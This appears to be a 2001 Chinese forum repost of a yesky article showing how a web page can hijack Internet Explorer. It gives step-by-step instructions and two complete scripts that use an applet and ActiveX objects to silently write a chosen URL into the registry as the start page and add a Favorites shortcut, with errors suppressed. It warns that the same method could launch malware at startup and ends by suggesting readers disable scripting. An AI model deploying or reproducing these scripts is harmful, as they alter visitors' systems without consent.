发信人: xmzw(小米粥)
整理人: snowypeng(2001-08-03 17:24:10), 站内信件
|
·王彬··yesky
你浏览某个网站后,关闭浏览器,然后再打开浏览器,不会吧........?IE怎么会自动打开了刚才显示的网站呢?而且还在收藏夹中自动添加了链接?这是因为网页应用APPLET程序更改了你的注册表!下面看一下详细情况。
新建一个index.html文件,然后将此文件分为两个框架,其中一个存放正常的首页内容,在另一个框架的body与/body之间插入如下内容:
SCRIPT
document.write("");
function wmain(){try{a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();
Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{ Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
"http://webcenter.533.net"); }catch(e){}}catch(e){}}setTimeout("wmain()",
1000);
/SCRIPT
这段代码实际上是利用APPLET将一个网址添加到你的注册表中。
SCRIPT
document.write("");function wbryfl(){try{a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();
Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();FSO = a1.GetObject();try{WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"《任远之家》
webcenter.533.net "+".URL");Shor.TargetPath="http://webcenter.533.net";Shor.Save();}
catch(e){}}catch(e)
{}}setTimeout("wbryfl()",1000);
/SCRIPT
这段代码原理与上段是相同的,只是将链接加入到的收藏夹中。
看了以上两段代码后,你是不是有些后怕呢,因为APPLET程序既然能更改首页与收藏夹,当然也可以更改注册表中的其它信息,例如开机时自动运行网络上的一个病毒文件,或者其它,所以,如果不是十分需要的话,你可以试图屏敝JATA、Vbscript等脚本程序在你的机器运行,尽管它给我们带来了许多的优势,但同时也带给我们危险。
|
|